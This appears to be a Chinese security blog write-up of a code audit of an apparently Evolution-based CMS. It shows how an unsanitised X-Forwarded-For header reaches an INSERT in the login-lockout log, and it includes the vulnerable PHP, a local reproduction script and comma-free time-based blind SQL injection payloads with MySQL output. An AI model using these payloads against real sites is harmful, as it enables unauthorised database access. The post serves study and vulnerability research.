审计某cms到insert注入技巧

审计

这是做项目碰到的一个cms,根据特征发现github上有源码,下载进行审计。后台长这样

1

该漏洞成因是因为后台登陆某个存在的账户过多时会进行锁定,并将此记录到数据库中。
2

当锁定用户时会进入记录IP并进入logHandler类的initAndWriteLog方法,部分实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function initAndWriteLog(
$msg = "",
$internalKey = "",
$username = "",
$action = "",
$itemid = "",
$itemname = ""
) {
$modx = evolutionCMS();
........
$this->writeToLog();

return;
}

然后会调用writeToLog方法写入日志:

3

定义$fields数组最后插入到数据库中,后面的代码应该就是遍历数组插入数据库。继续跟进getuserip的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private function getUserIP() {
if( array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) && !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ) {
if (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',')>0) {
$addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($addr[0]);
} else {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}

这里获取X_FORWARDED_FOR的值并返回,注意这里会将逗号分隔,其他的没有什么限制,所以注入的话就不能用逗号。

为了方便,我根据代码实现一个类似的简单功能:

1
2
3
4
5
6
7
8
9
10
<?php
$ip = "我们的payload";
$addr = explode(",",$ip);
$fields['message'] = 'asdgas';
$fields['ip'] = $addr[0];
$fields['useragent'] = 'asdgasdg';
$fields = "(`" . implode("`, `", array_keys($fields)) . "`) VALUES('" . implode("', '",array_values($fields)) . "')";
var_dump($fields);
?>

最后将$fields插入代码中执行insert语句,最后成功延时。
4

insert注入脱坑

这里报错注入是用不了的,只能是时间盲注加不使用逗号,其实常规注入就可以,只是本地测试发现一些小问题记录一下。

  • 逗号能使用的情况

利用substr函数构造if语句即可

1
2
3
4
5
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
  • 不能使用逗号的情况

先给出三个语句

1
2
3
4
5
6
insert into test values ("adn",'1' (select case when substr((select user()) from 1 for 1)='r' then sleep(5) else 0 end) '1',"admin");

insert into test values ("adn",'1'+(select case when substr((select user()) from 1 for 1)='r' then sleep(5) else 0 end)+'1',"admin");

insert into test values ("adn",'1' and (select case when substr((select user()) from 1 for 1)='r' then sleep(5) else 0 end) and '1',"admin");

第一个语句肯定是会报错的,原理说不上来。
来看第二第三个语句,前者是运算符拼接,后者是and连接,并且插入的数据也不一样,前提是能执行成功如果执行结果为0是不会插入数据库的。

5

但是发现一个问题:

6

为什么这三个语句只能有一个执行成功呢,字符在and语句中是0,个人觉得如果and语句第一个条件是0的话后面的就不会执行,mysql会直接判断为0。

我们换一下位置

7

果然第一个and语句会执行,所以当为and的时候要用insert into test values (“adn”,’1’ and (select case when substr((select user()) from 1 for 1)=’r’ then sleep(5) else 0 end) and ‘1’,”admin”);至少第一个要为数字或者是1

运算符+的情况为空或者数字都行
8

其实是个很简单的东西,只是在本地测试的时候犯下很多糊涂,算是记录一下长长记性,钻研问题就从小问题开始对吧。